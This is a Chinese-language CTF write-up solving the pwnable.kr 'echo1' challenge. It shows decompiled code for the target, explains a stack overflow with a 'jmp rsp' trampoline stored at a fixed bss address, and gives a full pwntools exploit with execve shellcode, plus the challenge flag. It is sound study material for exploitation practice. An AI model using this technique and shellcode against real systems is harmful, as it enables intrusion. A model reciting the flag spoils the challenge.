writeup - pwnable.kr - echo1

link: http://pwnable.kr/play.php

前言

雖然是僅僅 25 分的題目,我還是卡了兩個晚上,最後還是靠 先人的智慧 才解出來。

Hard to learn, hard to master。

工具:

正題

無論如何,先 decompile 看看,結果如下:

uint64_t* o;


char *__fastcall get_input(char *buf, int len) {
  return fgets(buf, len, stdin);
}


int64_t echo1() {  // stack size 32 bytes
  char& s = stk[0];

  (*(void (__fastcall **)(void *)))(o[3])(&o[0]);
  get_input(&s, 128LL);
  puts(&s);
  (*(void (__fastcall **)(void *)))(o[4])(&o[0]);

  return 0;
}


int64_t __fastcall greetings(int64_t a1) {
  printf("hello %s\n", a1);
  return 0;
}


int64_t __fastcall byebye(int64_t a1) {
  printf("goodbye %s\n", a1);
  return 0;
}


int64_t echo2() {
  puts("not supported");
  return 0;
}


int64_t echo2() {
  puts("not supported");
  return 0;
}


void cleanup() {
  free(o);
}


int main(int argc, const char **argv, const char **envp) {
  uint64_t name[4];
  int &c = base[-36];

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);

  o = malloc(40);
  o[3] = (uint64_t)greeting;
  o[4] = (uint64_t)byebye;

  printf("hey, what's your name? : ");
  __isoc99_scanf("%24s", name);
  o[0] = name[0];
  o[1] = name[1];
  o[2] = name[2];

  id = LODWORD(name[0]);

  getchar();

  func[0] = (uint64_t)echo1;
  func[1] = (uint64_t)echo2;
  func[2] = (uint64_t)echo3;

  for (c = 0; c != 'y'; c = getchar()) {
    while (true) {
      while (true) {
        puts("\n- select echo type -");
        puts("- 1. : BOF echo");
        puts("- 2. : FSB echo");
        puts("- 3. : UAF echo");
        puts("- 4. : exit");
        printf("> ");
        __isoc99_scanf("%d", &c);
        getchar();
        if (c > 3)
          break;
        ((void (*)(void))func[(uint64_t)(c - 1)])();
      }
      if (c == 4)
        break;
      puts("invalid menu");
    }
    cleanup();
    printf("Are you sure you want to exit? (y/n)");
  }
  puts("bye");
  return 0;
}

從 decompile 的結果可以找到兩處可能可利用的弱點,

  1. main 裏面的 __isoc99_scanf("%24s", name);
  2. echo1 裏面的 get_input(&s, 128LL);

測試後可以發現 get_input(&s, 128LL); 足以蓋掉 echo1 frame 的 rip,結構大約如下:

---
---
---
rip   <- rip of echo1
rbp  <- rbp of echo1
---
---
---
s        <- get_input(&s, 128LL);

用 peda 或是 pwntool 的 pattern generator 後可以很容易找到 offset 是 40 bytes,所以 echo1 的 return 已經可以被利用了。按照我既有的知識,接下來能做的事情有 ROP 或是 shellcode,ROP 我嘗試了一下但是 gadget 種類什麼鬼的拼不出來 (不排除我太弱),加上本題 binary 並沒有開 DEP,解題方向就往 shellcode 走。

接着就來找能夠塞 shellcode 的空間。__isoc99_scanf("%24s", name); 的長度並不夠儲存 shellstorm 上最小的 X86-64 shellcode (27 bytes),而且我們也無從得知 name 的位置,所以勢必無法存完整的 shellcode。仔細觀察程式碼可以發現一行 id = LODWORD(name[0]);,id 的位置在 binary 的 bss section,其位置是固定的,程式還將 name 的前一個 word 存了進去,也就是我們可以存放至少一條 machine code。

shellcode 則利用 get_input(&s, 128LL);,直接塞到 stack 中( 40 bytes for offset, 8 bytes for rip, 27 bytes for shellcode)。所以現在 stack 大概長這樣:

---  <- shellcode
---  <-
---  <- 
rip   <- rip of echo1
rbp  <- rbp of echo1
---
---
---
s        <- get_input(&s, 128LL);

現在有 shellcode ,有一個可被控制的 rip,跟 id,1 word 的已知位置空間,組合方式如下:

echo1() -> get_input() 蓋掉 stack 上的 rip 跟 寫入 shellcode -> 調到 id 上 (id 存入 jmp rsp) -> 跳到 stack 頂端繼續執行 -> pwned!

from pwn import *

context(os='linux', arch='amd64')

r = remote('pwnable.kr', 9010)

padding_len = 40

ptr_to_id = 0x6020a0

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

name = asm('jmp rsp')

payload = cyclic(padding_len)
payload += p64(ptr_to_id)
payload += shellcode

log.info("entering name...")
r.sendline(name)

log.info("choosing option...")
r.sendline("1")

log.info("sending payload...")
r.sendline(payload)

r.interactive()

flag: H4d_som3_fun_w1th_ech0_ov3rfl0w

方向錯誤

其實,在藉助 先人智慧 前,我跑過號幾條錯誤 (而且滿蠢) 的路線。

  1. name 存自己寫 shellcode,ret 過去 name

我在 name 裏面存了 mov rdi, ADDR_TO_BIN_SH_STRret。用 gdb 找到 name ,"/bin/sh" 跟 system() 的位置,然後在 gdb 試的很爽,跑 remote 發現根本不會動。後來看了別人的 writeup 才想起來,name 跟 system() 的位置根本就不會固定啊...

  1. 覆蓋 rip 時連 shellcode 一起寫進去,然後再 ret 回去

這其實很接近上面的解法,問題出在我沒有搞清楚 stack 的生長方向 (我把 shellcode 塞在 payload 前端,而不是後端),還有不太可能找到 stack 位置這件事

成就

在閱讀別人的 writeup 前:

  1. 我壓根沒想到 bss 區塊記憶體位置是固定的這件事,更別說利用
  2. 沒想到 jmp rsp 這招,當時我已知往 ret 的方向思考,沒想到可以把 code 直接塞到 stack run

Comments

comments powered by Disqus